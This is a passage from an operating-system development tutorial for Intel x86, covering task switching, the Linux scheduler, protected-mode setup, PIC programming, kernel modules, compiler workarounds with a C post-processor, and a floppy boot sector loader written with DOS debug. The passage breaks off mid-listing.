On the Intel platform, task switching is facilitated by a set of system data structures and a series of special instructions. Specifically, Intel Pentium class processors have a task register (TR) that is intended to be loaded (via the LTR instruction) with a 16-bit segment selector. This segment selector indexes a descriptor in the global descriptor table (GDT). The information in the descriptor includes the base address and size of the task state segment (TSS). The TSS is a state-information repository for a task. It includes register state data (EAX, EBX, etc.) and keeps track of the memory segments used by a given task. In other words, it stores the 'context' of a task.

The TR register always holds the segment selector for the currently executing task. A task switch is performed by saving the state of the existing process in its TSS and then loading the TR with a new selector. How this actually occurs, in terms of what facilitates the re-loading of TR, is usually related to hardware timers.

The majority of multi-tasking systems assign each process a quantum of time. The amount of time that a task receives is a policy decision.

An on-board timer, like the 82C54, can be set up to generate interrupts at evenly spaced intervals. Every time these interrupts occur, the kernel has an opportunity to check and see if it should perform a task switch. If so, an Intel-based OS can then initiate a task switch by executing a JMP or CALL instruction to the descriptor, in the GDT, of the task to be dispatched. This causes the contents of TR to be changed.

Using the timer facilitates what is known as preemptive multitasking. In the case of preemptive multitasking, the OS decides which task gets to execute in conjunction with a scheduling policy. At the other end of the spectrum is cooperative multitasking, where each task decides when to yield the CPU to another task.

For an exhaustive treatment of task management on Intel, see Intel's Pentium manual (Volume 3, Chapter 6).

Context Switch Policy:

Deciding which process gets the CPU's attention, and for how long, is a matter of policy. This policy is implemented by the scheduler. The Linux kernel has a scheduler which is implemented by the schedule() function located in /usr/src/linux/kernel/sched.c.

There are a lot of little details in the schedule() function related to handling the scenario where there are multiple processors, and there are also a couple of special cases. However, the core actions taken by the scheduler are relatively straightforward. The scheduler looks through the set of tasks that are eligible to execute. These eligible tasks are tracked by the runqueue data structure.

The scheduler looks for the task on the runqueue with the highest 'goodness' value and schedules that task for execution. Goodness is a value calculated by the goodness() function. It basically returns a value which reflects the need for the task to run.

```
                        Goodness Spectrum
                        -----------------
                        -1000: never select this
                        0: re-examine entire list of tasks, not just runqueue
                        +ve: the larger, the better
                        +1000: realtime process, select this.
```

If the highest goodness values of all the tasks in the runqueue is zero, then the scheduler takes a step back and looks at all of the tasks, not just the ones in runqueue.

To give you an idea of how this is implemented, I've included a snippet of the schedule() function and some of its more memorable lines:

```
asmlinkage void schedule(void)
{
        struct schedule_data * sched_data;
        struct task_struct *prev, *next, *p;
        struct list_head *tmp;
        int this_cpu, c;
                :
                :
        /*
         * this is the scheduler proper:
         */

        repeat_schedule:
        /*
         * Default process to select..
         */
        next = idle_task(this_cpu);
        c = -1000;
        list_for_each(tmp, &runqueue_head)
        {
                p = list_entry(tmp, struct task_struct, run_list);

                if (can_schedule(p, this_cpu))
                {
                        int weight = goodness(p, this_cpu, prev->active_mm);
                        if (weight > c){ c = weight, next = p; }
                }
        }

        /* Do we need to re-calculate counters? */
        if (unlikely(!c))
        {
                struct task_struct *p;

                spin_unlock_irq(&runqueue_lock);
                read_lock(&tasklist_lock);
                for_each_task(p)
                {
                        p->counter = (p->counter >> 1) + NICE_TO_TICKS(p->nice);
                }
                read_unlock(&tasklist_lock);
                spin_lock_irq(&runqueue_lock);
                goto repeat_schedule;
        }
                :
                :
```

--[2.2 - Memory Management

A process both occupies and allocates memory. Once you have a task model sketched out, you will need to give it access to a memory management subsystem. Make sure to keep the interface to the memory subsystem clean, so that you can yank it out and replace it later, if you need to.

On an OS level, memory protection is provided by two mechanisms:

i- segmentation
ii- paging

You will have to decide whether or not you want to support these two features. Paging, in particular, is a hardware intensive task. This means that if you do decide to provide paging facilities, porting the OS will be difficult at best. According to Tanenbaum, this is the primary reason why Minix does not support paging.

Segmentation can be enforced by hardware, or can be done manually via a sand boxing technique at the kernel level. Almost everyone relies on hardware based segmentation because it is faster. Like paging, hardware based segmentation will necessarily involve a lot of hardware specific code and a healthy dose of assembly language.

The MMURTL operating system breaks its virtual address space into three segments. There's one code segment for the OS, one code segment for applications, and a single data segment. This doesn't exactly protect the applications from each other, but it does protect the OS.

MMURTL Segment	Selector Value
OS code	0x08
Apps code	0x18
Apps data	0x10

MMURTL's memory subsystem is actually set up by the boot sector! That's correct, I said the boot sector. If you look at the source code in bootblok.asm, which Burgess compiles with TASM, you notice that the book code does the book keeping necessary to make the transition to protected mode. Here are a few relevant snippets from the file.

```
                IDTptr  DW 7FFh         ;LIMIT 256 IDT Slots
                                DD 0000h        ;BASE (Linear)
                GDTptr  DW 17FFh        ;LIMIT 768 slots
                                DD 0800h        ;BASE (Linear)
                                :
                                :
                LIDT FWORD PTR IDTptr ;Load Processor ITD Pointer
                LGDT FWORD PTR GDTptr ;Load Processor GDT Pointer
                                :
                                :
                MOV EAX,CR0 ;Control Register
                OR AL,1 ;Set protected mode bit
                MOV CR0,EAX
                JMP $+2 ;Clear prefetch queue with JMP
                NOP
                NOP
                MOV BX, 10h ;Set up segment registers
                MOV DS,BX
                MOV ES,BX
                MOV FS,BX
                MOV GS,BX
                MOV SS,BX

                ;We define a far jump
                DB 66h
                DB 67h
                DB 0EAh
                DD 10000h
                DW 8h
                ; now in protect mode
```

Before he loaded GDTR and IDTR, Burgess loaded the OS into memory so that the base address values in the selectors actually point to valid global and interrupt descriptor tables. It also saves him from having to put these data structures in the boot code, which helps because of the 512 byte size limit.

Most production operating systems use paging as a way to augment the address space which the OS manages. Paging is complicated, and involves a lot of dedicated code, and this code frequently executes ... which adds up to a tremendous loss in performance. Disk I/O is probably the most costly operation an isolated computer can perform. Even with the bookkeeping being pushed down to the hardware, paging eats up time.

Barry Brey, who is an expert on the Intel chip set, told me that paging on Windows eats up about 10% of the execution time. In fact, paging is so costly, in terms of execution time, and RAM is so cheap that it is often a better idea to buy more memory and turn off paging anyways. In light of this, you shouldn’t feel like paging is a necessity. If you are designing an embedded OS, you won’t need paging anyways.

Back when primary memory cores were 16KB, and those little magnets were big ticket items, paging probably made a whole lot more sense. Today, however, buying a couple GB of SDRAM is not uncommon and this causes me to speculate that maybe paging is a relic of the past.

--[2.3 - I/O interface

This is the scary part.

You now have processes, and they live in memory. But they cannot interact with the outside world without connections to I/O devices. Connecting to I/O devices is traditionally performed by sections of code called drivers, which are traditionally buried in the bowels of the OS. As with other components of the OS, you will have to use your assembly language skills.

In Intel protected mode, using the BIOS to get data to the screen is not an option because the old real-mode way of handling interrupts and addressing memory is no longer valid. One way to send messages to the screen is to write directly to video memory. Most monitors, even flat panels, start up in either VGA 80x25 monochrome text mode or VGA 80x25 color text mode.

memory region	real-mode address	linear address of buffer
monochrome text	B000[0]:0000	B0000H
color text	B800[0]:0000	B8000H

In either case, the screen can display 80 rows and 25 columns worth of character data. Each character takes up two bytes in the video RAM memory region (which isn't so bad ... 80x25=2000x2=4000 bytes). You can place a character on the screen by merely altering the contents of video RAM. The lower byte holds the ASCII character, and the high byte holds an attribute.

The attribute bit is organized as follows:

```
                           bit 7   blink
                                   ---------------
                                   bit 6
                                   bit 5   background color ( 0H=black )
                                   bit 4
                                   ---------------
                                   bit 3
                                   bit 2   foreground color ( 0EH=white )
                                   bit 1
                                   bit 0
```

To handle multiple screens, you merely create screen buffers and then commit the virtual screen to video RAM when you want to see it.
For example, in protected mode the following code (written with DJGPP) will place a 'J' on the screen.

```
                #include <sys/farptr.h>
        #include <go32.h>
                _farpokeb(_dos_ds, 0xB8000, 'J');
                _farpokeb(_dos_ds, 0xB8000+1, 0x0F);
```

When I saw the following snippet of code in Minix's console.c file,
I knew that Minix used this technique to write to the screen.

```
#define MONO_BASE    0xB0000L   /* base of mono video memory */
#define COLOR_BASE   0xB8000L   /* base of color video memory */
                :
                :
PUBLIC void scr_init(tp)
tty_t *tp;
{
                :
                :
  if (color)
  {
        vid_base = COLOR_BASE;
        vid_size = COLOR_SIZE;
  }
  else
  {
        vid_base = MONO_BASE;
        vid_size = MONO_SIZE;
  }
                :
                :
```

Handling I/O to other devices on the Intel platform is no where nearly as simple. This is where our old friend the 8259 Programmable Interrupt Controller (PIC) comes into play. Recently I have read a lot in Intel docs about an advanced PIC (i.e. APIC), but everyone still seems to be sticking to the old interrupt controller.

The 8259 PIC is the hardware liaison between the hardware and the processor. The most common setup involves two 8259 PICs configured in a master-slave arrangement. Each PIC has eight interrupt request lines (IRQ lines) that receive data from external devices (i.e. the keyboard, hard drive, etc.). The master 8259 will use its third pin to latch on to the slave 8259 so that, all told, they provide 15 IRQ lines for external hardware. The master 8259 then communicates to the CPU through the CPUs INTR interrupt PIN. The slave 8259 uses it's INTR slot to speak to the master on its third IRQ line.

Normally the BIOS will program the 8259 when then computer boots, but to talk to hardware devices in protected mode, the 8259 must be re-programmed. This is because the 8259 couples the IRQ lines to interrupt signals. Programming the 8259 will make use of the IN and OUT instructions. You basically have to send 8-bit values to the 8259's interrupt command register (ICR) and interrupt mask register (IMR) in a certain order. One wrong move and you triple-fault.

My favorite example of programming the 8259 PIC comes from MMURTL. The following code is located in INITCODE.INC and is invoked during the initialization sequence in MOS.ASM.

```
;=============================================================================
; This sets IRQ00-0F vectors in the 8259s
; to be Int20 thru 2F.
;
; When the PICUs are initialized, all the hardware interrupts are MASKED.
; Each driver that uses a hardware interrupt(s) is responsible
; for unmasking that particular IRQ.
;
PICU1           EQU 0020h
PICU2           EQU 00A0h

Set8259 PROC NEAR
                MOV AL,00010001b
                OUT PICU1+0,AL                  ;ICW1 - MASTER
                jmp $+2
                jmp $+2
                OUT PICU2+0,AL                  ;ICW1 - SLAVE
                jmp $+2
                jmp $+2
                MOV AL,20h
                OUT PICU1+1,AL                  ;ICW2 - MASTER
                jmp $+2
                jmp $+2
                MOV AL,28h
                OUT PICU2+1,AL                  ;ICW2 - SLAVE
                jmp $+2
                jmp $+2
                MOV AL,00000100b
                OUT PICU1+1,AL                  ;ICW3 - MASTER
                jmp $+2
                jmp $+2
                MOV AL,00000010b
                OUT PICU2+1,AL                  ;ICW3 - SLAVE
                jmp $+2
                jmp $+2
                MOV AL,00000001b
                OUT PICU1+1,AL                  ;ICW4 - MASTER
                jmp $+2
                jmp $+2
                OUT PICU2+1,AL                  ;ICW4 - SLAVE
                jmp $+2
                jmp $+2
                MOV AL,11111010b                        ;Masked all but cascade/timer
;               MOV AL,01000000b                        ;Floppy masked
                OUT PICU1+1,AL                  ;MASK - MASTER (0= Ints ON)
                jmp $+2
                jmp $+2
                MOV AL,11111111b
;               MOV AL,00000000b
                OUT PICU2+1,AL                  ;MASK - SLAVE
                jmp $+2
                jmp $+2
                RETN
SET8259 ENDP
;===========================================================================
```

Note how Burgess performs two NEAR jumps after each OUT instruction. This is to give the PIC time to process the command.

Writing a driver can be a harrowing experience. This is because drivers are nothing less than official members of the kernel memory image. When you build a driver, you are building a part of the OS. This means that if you incorrectly implement a driver, you could be dooming your system to a crash of the worst kind ... death by friendly fire.

Building drivers is also fraught with all sorts of vendor-specific byte encoding and bit wise acrobatics. The best advise that I can give you is to stick to widely-used, commodity, hardware. Once you have a working console, you can attempt to communicate with a disk drive and then maybe a network card.

You might want to consider designing your OS so that drivers can be loaded and unloaded at runtime. Having to recompile the kernel to accommodate a single driver is a pain. This will confront you with creating an indirect calling mechanism so that the OS can invoke the driver, even though it does not know in advance where that driver is.

The Linux kernel allows code to be added to the kernel at runtime via loadable kernel modules (LKMs). These dynamically loadable modules are nothing more than ELF object files (they've been compiled, but not officially linked). There are a number of utilities that can be used to manage LKMs. Two of the most common are insmod and rmmod, which are used to insert and remove LKMs at runtime.

The insmod utility acts as a linker/loader and assimilates the LKM into the kernel's memory image. Insmod does this by invoking the init_module system call. This is located in /usr/src/linux/kernel/module.c.

```
asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user){ ...
```

This function, in turn, invokes another function belonging to the LKM which also just happens to be named init_module(). Here is a the relevant snippet from sys_init_module():

```
        /* Initialize the module.  */
        atomic_set(&mod->uc.usecount,1);
        mod->flags |= MOD_INITIALIZING;
        if (mod->init && (error = mod->init()) != 0)
        {
                atomic_set(&mod->uc.usecount,0);
                mod->flags &= ~MOD_INITIALIZING;
                if (error > 0)  /* Buggy module */
                        error = -EBUSY;
                goto err0;
        }
        atomic_dec(&mod->uc.usecount);
```

The LKM's init_module() function, which is pointed to by the kernel code above, then invokes a kernel routine to register the LKMs subroutines. Here is a simple example:

```
        /* Initialize the module - Register the character device */
        int init_module()
        {
                /* Register the character device (atleast try) */
                Major = module_register_chrdev( 0,
                                                                                DEVICE_NAME
,
                                                                                &Fops);

                /* Negative values signify an error */
                if (Major < 0)
                {
                        printk ("%s device failed with %d\n",
                        "Sorry, registering the character",
                        Major);
                        return Major;
                }

                printk ("%s The major device number is %d.\n",
                "Registeration is a success.",
                Major);
                printk ("If you want to talk to the device driver,\n");
                printk ("you'll have to create a device file. \n");
                printk ("We suggest you use:\n");
                printk ("mknod <name> c %d <minor>\n", Major);
                printk ("You can try different minor numbers %s",
                "and see what happens.\n");

                return 0;
        }
```

The Unix OS, in an attempt to simply things, treats every device like a file. This is done in order to keep the number of system calls down and to offer a uniform interface from one hardware subsystem to the next. This is an approach worth considering. However, on the other hand, the Unix approach have not always gotten a good grade in terms of ease of use. Specifically, I have heard complaints about mounting and un-mounting from Windows users who migrate to Unix.

Note, If you do take the LKM route, you should be careful not to make the loadable driver feature into a security flaw.

With regard to nuts-and-bolts details, for the Intel platform, I would recommend Frank Van Gilluwe's book. If you are not targeting Intel, then you have some real digging to do. Get on the phone and the internet and contact your hardware vendors.

--[2.4 - File System

You now have processes, in memory, that can talk to the outside world. The final step is to give them a way of persisting and organizing data.

In general, you will build the file system manager on top of the disk drivers that you implemented earlier in the last step. If your OS is managing an embedded system, you may not need to implement a file system because no disk hardware exists. Even with embedded systems, though, I've seen file systems implemented as RAM disks. Even embedded systems sometimes need to produce and store log files ....

There are several documented files system specifications available to the public, like the ext2 file system made famous by Linux. Here is the main link for the ext2 implementation:

                http://e2fsprogs.sourceforge.net/ext2.html

The documentation at this site should be sufficient to get you started. In particular, there is a document named "Design and Implementation of the Second Extended File System" which I found to be a well-rounded introduction to ext2.

If you have the Linux kernel source and you want to take a look at the basic data structures of the ext2fs, then look in:

```
                        /usr/src/linux/include/linux/ext2_fs.h
                        /usr/src/linux/include/linux/ext2_fs_i.h
```

To take a look at the functions that manipulate these data structures, take a look in the following directory:

```
                                        /usr/src/linux/fs/ext2
```

In this directory you will see code like:

```
#include <linux/module.h>

MODULE_AUTHOR("Remy Card and others");
MODULE_DESCRIPTION("Second Extended Filesystem");
MODULE_LICENSE("GPL");
```

in inode.c, and in super.c you will see:

```
EXPORT_NO_SYMBOLS;

module_init(init_ext2_fs)
module_exit(exit_ext2_fs)
```

Obviously, from the previous discussion, you should realize that support for ext2fs can be provided by an LKM!

Some OS creators, like Burgess, go the way of the MS-DOS FAT file system, for the sake of simplicity, and so they didn’t have to reformat their hard drives. I wouldn’t recommend the FAT system. In general, you might want to keep in mind that it is a good idea to implement a file system which facilitates file ownership and access controls. More on this in the next section ...

--[2.5 - Notes On Security

Complexity is the enemy of security. Simple procedures are easy to check and police, complicated ones are not. Any certified accountant will tell you that our Byzantine tax laws leave all sorts of room for abuse.

Software is the same way. Complicated source code has the potential to provide all sorts of insidious places for bugs to hide. As operating systems have evolved they have become more complicated. According to testimony given by a Microsoft executive on Feb. 2, 1999, Windows 98 consists of over 18 million lines of code. Do you think there is a bug in there somewhere? Oh, ... no ... Microsoft wouldn’t sell buggy code ...

<picture Dr. Evil, a la Austin Powers, saying the previous sentence>

Security is not something that you want to add on to your OS when you are almost done with it. Security should be an innate part of your system’s normal operation. Keep this in mind during every phase of construction, from task management to the file system manager.

In addition, you might consider having a creditable third party perform an independent audit of your security mechanisms before you proclaim your OS as being ’secure.’ For example, the NSA evaluates ’trusted’ operating systems on a scale from C2 to A1.

A ’trusted’ OS is just an OS which has security policies in place. The salient characteristic of a trusted system is the ranking which the NSA gives it. A C2 trusted system has only limited access and authentication controls. An A1 trusted system, at the other end of the spectrum, has rigorous and mandatory security mechanisms.

People who have imaginary enemies are called 'paranoid.' People who have enemies that they think are imaginary are called 'victims.' It's often hard to tell the two apart until its too late. If I had to trust my business to an OS, I would prefer to invest in one that errs on the side of paranoia.

--[3 - Simple Case Study

In this section, I present you with some home-brewed system code in an effort to highlight some of the issues that I talked about in Part 1.

--[3.1 - Host Platform

For a number of reasons, I decided to take a shortcut and create an OS that runs on Intel 8x86 hardware. Cost was one salient issue, and so was the fact that there are several potential host operating systems to choose from (Linux, OpenBSD, MMURTL, Windows, etc.).

The primary benefit, however, is that I can avoid (to an extent) having to build a cross-compiler and simulator from scratch. By having the host and target systems run on the same hardware, I was able to take advantage of existing tools that generated x86 binaries and emulated x86 hardware.

For the sake of appealing to the least common denominator, I decided to use Windows as a host OS. Windows, regardless of its failings, happens to be have the largest base of users. Almost anyone should be able to follow the issues and ideas I discuss in Part 3.

One side benefit of choosing Windows is that it ships with its own simulator. The DOS Virtual Machine subsystem is basically a crudely implemented 8086 simulator. I say 'crude' because it doesn't have the number or range of features that bochs provides. I actually tested a lot of code within the confines of the DOS VM.

--[3.2 - Compiler Issues

There are dozens of C compilers that run on Windows. I ended up having three requirements for choosing one:

i- generates raw binary (i.e. MS .COM file)

ii- allow for special in-line instructions (i.e. INT, LGDT)

iii- is free

Intel PCs boot into real-mode, which means that I will need to start the party with a 16-bit compiler. In addition, system code must be raw binary so that runtime address fix ups do not have to be manually implemented. This is not mandatory, but it would make life much easier.

The only commercial compilers that generated 16-bit, raw binary, files passed out of fashion years ago ... so I had to do some searching.

After trolling the net for compilers, I ended up with the following matrix:

compiler	decision	reason
TurboC	NO	in-line assembly requires TASM ($$$)
Micro-C	YES	generates MASM friendly output
PacificC	NO	does not support tiny MM (i.e. .COM)
Borland 4.5C++	NO	costs $$$
VisualC++ 1.52	NO	costs $$$

Watcom	NO	does not support tiny MM (i.e. .COM)
DJGPP	NO	AT&T assembler syntax (yuck)

I Ended up working with Micro-C, even though it does not support the entire ANSI standard. The output of Micro-C is assembler and can be fed to MASM without to much trouble. Micro-C was created by Dave Dunfield and can be found at:

ftp://ftp.dunfield.com/mc321pc.zip

Don’t worry about the MASM dependency. You can now get MASM 6.1 for free as a part of the Windows DDK. See the following URL for details:

http://www.microsoft.com/ddk/download/98/BINS_DDK.EXE
http://download.microsoft.com/download/vc15/Update/1/WIN98/EN-US/Lnk563.exe

The only downside to obtaining this ’free’ version of MASM (i.e. the ML.EXE,ML.err, and LINK.EXE files) is that they come with zero documents.

Ha ha, the internet to the rescue ....

http://webster.cs.ucr.edu/Page_TechDocs/MASMDoc

By using Micro-C, I am following the advice I gave in Part 1 and sticking to the tools that I am skilled with. I grew up using MASM and TASM. I am comfortable using them at the command line and reading their listing files. Because MASM is the free tool I picked it over TASM, even if it is a little buggy.

One problem with using most C compilers to create OS code is that they all add formatting information to the executable files they generate. For example, the current version of Visual C++ creates console binaries that obey the Portable Executable (PE) file format. This extra formatting is used by the OS program loader at runtime.

Compilers also tack on library code to their executables, even when they don’t need it.

Consider a text file named file.c consisting of the code:

```
void main(){}
```

I am going to compile this code as a .COM file using TurboC. Take a look at the size of the object file and final binary.

```
C:\DOCS\OS\lab\testTCC>tcc -mt -lt -ln file.c
C:\DOCS\OS\lab\testTCC>dir

.              <DIR>        03-29-02  9:26p .
..             <DIR>        03-29-02  9:26p ..
FILE     C               19  03-30-02 12:07a file.c
FILE     OBJ            184  03-30-02 12:09a FILE.OBJ
FILE     COM          1,742  03-30-02 12:09a file.com
```

Holy smokes... there’s a mother load of ballast that the compiler adds on. This is strictly the doing of the compiler and linker. Those bastards!

To see how excessive this actually is, let’s look at a .COM file which is coded in assembler. For example, let’s create a file.asm that looks like:

```
CSEG SEGMENT
start:
ADD ax,ax
ADD ax,cx
CSEG ENDS
```

```
end start
```

We can assemble this with MASM

```
C:\DOCS\OS\lab\testTCC>ml /AT file.asm
C:\DOCS\OS\lab\testTCC>dir

.               <DIR>        03-29-02  9:26p .
..              <DIR>        03-29-02  9:26p ..
FILE     OBJ            53  03-30-02 12:27a file.obj
FILE     ASM            67  03-30-02 12:27a file.asm
FILE     COM             4  03-30-02 12:27a file.com
         5 file(s)            187 bytes
         2 dir(s)        7,463.23 MB free
```

As you can see, the executable is only 4 bytes in size! The assembler didn't add anything, unlike the C compiler, which threw in everything but the kitchen sink. In all likelihood, the extra space is probably taken up by libraries which the linker appends on.

The painful truth is, unless you want to build your own backend to a C compiler, you will be faced with extra code and data on your OS binary. One solution is simply to ignore the additional bytes. Which is to say that the OS boot loader will simply skip the formatting stuff and go right for the code which you wrote. If you decide to take this route, you might want to look at a hex dump of your binary to determine the file offset at which your code begins.

I escaped dealing with this problem because Micro-C's C compiler (MCC) spits out an assembly file instead of object code. This provided me with the opportunity to tweak and remove any extra junk before it gets a chance to find its way into the executable.

However, I still had problems...

For example, the MCC compiler would always add extra segments and place program elements in them. Variables translated to assembler would always be prefixed with these unwanted segments (i.e. OFFSET DGRP:_var).

Take the program:

```
char arr[]={'d','e','v','m','a','n','\0'};
void main(){}
```

MCC will process this file and spit out:

```
DGRP GROUP DSEG,BSEG
DSEG SEGMENT BYTE PUBLIC 'IDATA'
DSEG ENDS
BSEG SEGMENT BYTE PUBLIC 'UDATA'
BSEG ENDS
CSEG SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CSEG, DS:DGRP, SS:DGRP
EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR
EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR
EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD
CSEG ENDS
DSEG SEGMENT
PUBLIC _arr
_arr DB 100,101,118,109,97,110,0
DSEG ENDS
CSEG SEGMENT
PUBLIC _main
_main: PUSH BP
MOV BP,SP
POP BP
RET
```

```
CSEG ENDS
END
```

Rather than re-work the backend of the compiler, I implemented a more immediate solution by creating a hasty post-processor. The alternative would have been to manually adjust each assembly file that MCC produced, and that was just too much work.

The following program (convert.c) creates a skeleton .COM program of the form:

```
        .486
        CSEG SEGMENT BYTE USE16 PUBLIC ’CODE’

        ORG 100H ; for DOS PSP only, strip and start OS on 0x0000 offset

        here:
        JMP _main

        ; --> add stuff here <----

        EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR
        EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR
        EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD

        CSEG ENDS
        END here
```

It then picks out the procedures and data elements in the original assembly program and places them in the body of the skeleton. Here is the somewhat awkward, but effective program that performed this task:

```
/* convert.c------------------------------------------------------------*/

#include<stdio.h>
#include<string.h>

/* read a line from fptr, place in buff */

int getNextLine(FILE *fptr,char *buff)
{
        int i=0;
        int ch;

        ch = fgetc(fptr);
        if(ch==EOF){ buff[0]=’\0’; return(0); }

        while((ch==’\n’)||(ch==’\r’)||(ch==’\t’)||(ch==’ ’))
        {
                ch = fgetc(fptr);
                if(ch==EOF){ buff[0]=’\0’; return(0); }
        }

        while((ch!=’\n’)&&(ch!=’\r’))
        {
                if(ch!=EOF){ buff[i]=(char)ch; i++; }
                else
                {
                        buff[i]=’\0’;
                        return(0);
                }

                ch = fgetc(fptr);
        }

        buff[i]=’\r’;i++;
        buff[i]=’\n’;i++;
        buff[i]=’\0’;
        return(1);

}/*end getNextLine*/

/* changes DGRP:_variable  to CSEG:_variable */

void swipeDGRP(char *buff)
{
        int i;
        i=0;
        while(buff[i]!='\0')
        {
                if((buff[i]=='D')&&
                        (buff[i+1]=='G')&&
                        (buff[i+2]=='R')&&
                        (buff[i+3]=='P'))
                {
                        buff[i]='C';buff[i+1]='S';buff[i+2]='E';buff[i+3]='G';
                }
                if((buff[i]=='B')&&
                        (buff[i+1]=='G')&&
                        (buff[i+2]=='R')&&
                        (buff[i+3]=='P'))
                {
                        buff[i]='C';buff[i+1]='S';buff[i+2]='E';buff[i+3]='G';
                }
                i++;
        }
        return;
}/*end swipeDGRP*/

void main(int argc, char *argv[])
{
        FILE *fin;
        FILE *fout;

        /*MASM allows lines to be 512 chars long, so have upper bound*/

        char buffer[512];
        char write=0;

        fin = fopen(argv[1],"rb");
        printf("Opening %s\n",argv[1]);
        fout = fopen("os.asm","wb");

        fprintf(fout,".486P ; enable 80486 instructions\r\n");
        fprintf(fout,"CSEG SEGMENT BYTE USE16 PUBLIC \'CODE\'\r\n");
        fprintf(fout,";\'USE16\' forces 16-bit offset addresses\r\n");
        fprintf(fout,"ASSUME CS:CSEG, DS:CSEG, SS:CSEG\r\n");
        fprintf(fout,"ORG 100H\r\n");
        fprintf(fout,"here:\r\n");
        fprintf(fout,"JMP _main\r\n\r\n");

        fprintf(fout,"EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR\r\n");
        fprintf(fout,"EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR\r\n");
        fprintf(fout,"EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD\r\n\r\n");

        while(getNextLine(fin,buffer))
        {
                if((buffer[0]=='P')&&
                        (buffer[1]=='U')&&
                        (buffer[2]=='B')&&
                        (buffer[3]=='L')&&
                        (buffer[4]=='I')&&
                        (buffer[5]=='C')){ fprintf(fout,"\r\n"); write=1;}

                if((buffer[0]=='D')&&
                                (buffer[1]=='S')&&
                                (buffer[2]=='E')&&
                                (buffer[3]=='G')){ write=0;}

                if((buffer[0]=='B')&&
                                (buffer[1]=='S')&&
                                (buffer[2]=='E')&&
                                (buffer[3]=='G')){ write=0;}

                if((buffer[0]=='R')&&
                                (buffer[1]=='E')&&
                                (buffer[2]=='T')){ fprintf(fout,"%s",buffer); write=0;}

                if(write)
                {
                        swipeDGRP(buffer);
                        fprintf(fout,"%s",buffer);
                }
                buffer[0]='\0';
        }

        fprintf(fout,"CSEG ENDS\r\n");
        fprintf(fout,"END here\r\n");

        fclose(fin);
        fclose(fout);
        return;

}/*end main-------------------------------------------------------------*/
```

--[3.3 - Booting Up

In the following discussion, I'm going to discuss booting from a floppy disk. Booting from a hard drive, CD-ROM, or other storage device is typically a lot more complicated due to partitioning and device formatting.

OK, the first thing I'm going to do is build a boot program. This program has to be small. In fact, it has to be less than 512 bytes in size because it has to fit on the very first logical sector of the floppy disk. Most 1.44 floppy disks have 80 tracks per side and 18 sectors per track. The BIOS labels the two sides (0,1), tracks 0-79, and sectors 1-18.

When an Intel machine boots, the BIOS firmware (which resides in a ROM chip on the motherboard) will look for a bootable storage device. The order in which it does so can be configured on most machines via a BIOS startup menu system. If the BIOS finds a boot diskette, it will read the diskettes boot sector (Track 0, Side 0 and Sector 1) into memory and execute the boot sector code. Some times this code will do nothing more than print a message to the screen:

```
                                        Not a boot disk, you are hosed.
```

All 8x86 machines start in real-mode, and the boot sector is loaded into memory at the address 0000[0]:7C00 (or 0x07C00) using hexadecimal. Once this occurs, the BIOS washes its hands of the booting procedure and we are left to our own devices.

Many operating systems will have the boot sector load a larger boot program, which then loads the OS proper. This is known as a multi-stage boot. Large operating systems that have a lot of things to set up, a complicated file structure, and flexible configuration, will utilize a multi-stage boot loader. A classic example of this is GNU's GRand Unified Bootloader (GRUB).

```
                                http://www.gnu.org/software/grub
```

As usual, I am going to take the path of least resistance. I am going to have the boot sector directly load my system code. The boot sector assumes that the system code will be located directly after the boot sector (track 0, side, 0, sector 2). This will save me from including special data and instructions to read a file system. Finally, because of size constraints, all the code in this section will be written in assembler.

The boot code follows:

```
;-boot.asm--------------------------------------------------------------

.8086
CSEG SEGMENT
start:

; step 1) load the OS on floppy
;         to location above the
;         existing interrupt table (0-3FF)
;         and BIOS data region (400-7FF)

MOV AH,02H ; read command
MOV AL,10H ; 16 sectors = 8KB of storage to load
MOV CH,0H  ; low 8 bits of track number
MOV CL,2H  ; sector start ( right after boot sector )
MOV DH,0H  ; side
MOV DL,0H  ; drive
MOV BX,CS
MOV ES,BX  ; segment to load code
MOV BX,0H
MOV BX,800H  ; offset to load code ( after IVT )
INT 13H

; signal that code was loaded and we are going to jump

MOV AH,0EH
MOV AL,'-'
INT 10H
MOV AH,0EH
MOV AL,'J'
INT 10H
MOV AH,0EH
MOV AL,'M'
INT 10H
MOV AH,0EH
MOV AL,'P'
INT 10H
MOV AH,0EH
MOV AL,'-'
INT 10H

; step 2) jump to the OS
;         bonzai!!!

JMP BX

CSEG ENDS
END start

;-end file--------------------------------------------------------------
```

This boot loader also assumes that the system code to be loaded lies in sectors 2-17 on the first track. As the OS gets bigger (beyond 8K), extra instructions will be needed to load the additional code. But for now lets assume that the code will be less than 8K in size.

OK, you should build the above code as a .COM file and burn it on to the boot sector. The boot.asm file is assembled via:

```
                        C:\> ML  /AT  boot.asm
```

How do you do burn it on to the floppy disk’s boot sector?

Ah ha! Debug to the rescue. Note, for big jobs I would recommend rawrite. This is such a small job that debug will suffice. Not to mention, I have nostalgic feeling about debug. I assembled my first program with it; back in the 1980s when parachute pants were in.

Assuming the boot code has been assembled to a file named boot.COM, here is how you would write it to the boot sector of a floppy disk.

```
C:\DOCS\OS\lab\bsector>debug showmsg.com
-l
-w cs:0100 0 0 1
-q
C:\DOCS\OS\lab\bsector>
```

The ’l’ command loads the file to memory starting at CS:0100 hex. The ’w’ command writes this memory to disk A (0) starting at sector 0 and writing a single sector. The ’w’ command has the general form:

```
                                 w  address  drive  start-sector  #-sectors
```

Note, DOS sees logical sectors (which start with 0), whereas physical (BIOS manipulated) sectors always start with 1.

If you want to test this whole procedure, assemble the following program as a .COM file and burn it on to the boot sector of a diskette with debug.

```
.486
CSEG SEGMENT
start:
MOV AH,0EH
MOV AL,’-’
INT 10H
MOV AH,0EH
MOV AL,’h’
INT 10H
MOV AH,0EH
MOV AL,’i’
INT 10H
MOV AH,0EH
MOV AL,’-’
INT 10H
